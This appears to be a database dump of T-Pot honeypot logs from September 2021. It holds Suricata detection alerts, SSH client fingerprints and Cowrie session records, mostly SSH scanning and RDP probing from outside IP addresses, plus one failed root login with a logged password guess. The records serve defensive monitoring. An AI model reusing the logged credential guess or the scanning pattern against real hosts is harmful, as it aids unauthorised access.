32075	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:49:44.004272+03	2021-09-20 15:00:02.997717+03	{"_id": "NQYKA3wBvYTbRNuEYUg9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:49:41.002980+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 222, "bytes_toserver": 222}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1024323751316388, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 38498, "dest_port": 22, "timestamp": "2021-09-20T11:49:44.004272Z", "@timestamp": "2021-09-20T11:49:44.004Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
32076	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:49:35.000196+03	2021-09-20 15:00:02.998716+03	{"_id": "NwYKA3wBvYTbRNuEZUgl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:48:33.331567+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 994759339478831, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 62109, "timestamp": "2021-09-20T11:49:35.000196Z", "@timestamp": "2021-09-20T11:49:35.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
32077	183.17.231.81	109.199.241.180	Fatt	2021-09-20 14:49:46.372546+03	2021-09-20 15:00:02.999716+03	{"_id": "OAYKA3wBvYTbRNuEakgT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "183.17.231.81", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 54240, "dest_port": 22, "timestamp": "2021-09-20T11:49:46.372546", "@timestamp": "2021-09-20T11:49:46.372Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32078	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:49:46.075168+03	2021-09-20 15:00:03.001717+03	{"_id": "OQYKA3wBvYTbRNuEakgV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "183.17.231.81", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54240, "timestamp": "2021-09-20T11:49:46.075168", "@timestamp": "2021-09-20T11:49:46.075Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32079	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:49:46.071289+03	2021-09-20 15:00:03.002716+03	{"_id": "SAYKA3wBvYTbRNuEa0ht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 183.17.231.81:54240 (192.168.176.2:22) [session: f1be23cc04d4]", "session": "f1be23cc04d4", "@version": "1", "protocol": "ssh", "src_port": 54240, "dest_port": 22, "timestamp": "2021-09-20T11:49:46.071289Z", "@timestamp": "2021-09-20T11:49:46.071Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32080	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:49:46.074424+03	2021-09-20 15:00:03.003717+03	{"_id": "SQYKA3wBvYTbRNuEa0ht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "f1be23cc04d4", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:49:46.074424Z", "@timestamp": "2021-09-20T11:49:46.074Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32081	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:49:46.373136+03	2021-09-20 15:00:03.005716+03	{"_id": "SgYKA3wBvYTbRNuEa0ht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "f1be23cc04d4", "@version": "1", "timestamp": "2021-09-20T11:49:46.373136Z", "@timestamp": "2021-09-20T11:49:46.373Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32082	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:49:46.703709+03	2021-09-20 15:00:03.006716+03	{"_id": "TgYKA3wBvYTbRNuEbEj3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:49:46.276690+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 728954555742418, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 57453, "timestamp": "2021-09-20T11:49:46.703709Z", "@timestamp": "2021-09-20T11:49:46.703Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
32083	183.17.231.81	109.199.241.180	Suricata	2021-09-20 14:49:46.372367+03	2021-09-20 15:00:03.007716+03	{"_id": "TwYKA3wBvYTbRNuEbEj3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "183.17.231.81", "dest_ip": "192.168.20.116", "flow_id": 1279221470709345, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54240, "dest_port": 22, "timestamp": "2021-09-20T11:49:46.372367Z", "@timestamp": "2021-09-20T11:49:46.372Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32084	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:49:47.038849+03	2021-09-20 15:00:03.020716+03	{"_id": "UAYKA3wBvYTbRNuEbEj3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:49:46.276690+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 728954555742418, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 57453, "dest_port": 3389, "timestamp": "2021-09-20T11:49:47.038849Z", "@timestamp": "2021-09-20T11:49:47.038Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
32085	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:49:47.559281+03	2021-09-20 15:00:03.021717+03	{"_id": "VwYKA3wBvYTbRNuEb0hV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "beda5f4e499a", "@version": "1", "timestamp": "2021-09-20T11:49:47.559281Z", "@timestamp": "2021-09-20T11:49:47.559Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32086	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:49:47.675752+03	2021-09-20 15:00:03.022716+03	{"_id": "WAYKA3wBvYTbRNuEb0hV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.login.failed", "message": "login attempt [root/1QAZ2WSX3EDC] failed", "session": "f1be23cc04d4", "@version": "1", "password": "1QAZ2WSX3EDC", "username": "root", "timestamp": "2021-09-20T11:49:47.675752Z", "@timestamp": "2021-09-20T11:49:47.675Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32087	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:49:47.558498+03	2021-09-20 15:00:03.024716+03	{"_id": "WgYKA3wBvYTbRNuEcEje", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 112401262976337, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 21953, "dest_port": 22, "timestamp": "2021-09-20T11:49:47.558498Z", "@timestamp": "2021-09-20T11:49:47.558Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32088	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:49:41.114462+03	2021-09-20 15:00:03.025716+03	{"_id": "LwYKA3wBvYTbRNuEV0jh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 121.4.68.188:57444 (192.168.176.2:22) [session: e494b6ad8367]", "session": "e494b6ad8367", "@version": "1", "protocol": "ssh", "src_port": 57444, "dest_port": 22, "timestamp": "2021-09-20T11:49:41.114462Z", "@timestamp": "2021-09-20T11:49:41.114Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32089	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:49:41.390496+03	2021-09-20 15:00:03.026718+03	{"_id": "MAYKA3wBvYTbRNuEV0jh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "e494b6ad8367", "@version": "1", "timestamp": "2021-09-20T11:49:41.390496Z", "@timestamp": "2021-09-20T11:49:41.390Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32090	121.4.68.188	109.199.241.180	Suricata	2021-09-20 14:49:41.389791+03	2021-09-20 15:00:03.027716+03	{"_id": "MQYKA3wBvYTbRNuEWUhr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "121.4.68.188", "dest_ip": "192.168.20.116", "flow_id": 1462148422488159, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57444, "dest_port": 22, "timestamp": "2021-09-20T11:49:41.389791Z", "@timestamp": "2021-09-20T11:49:41.389Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
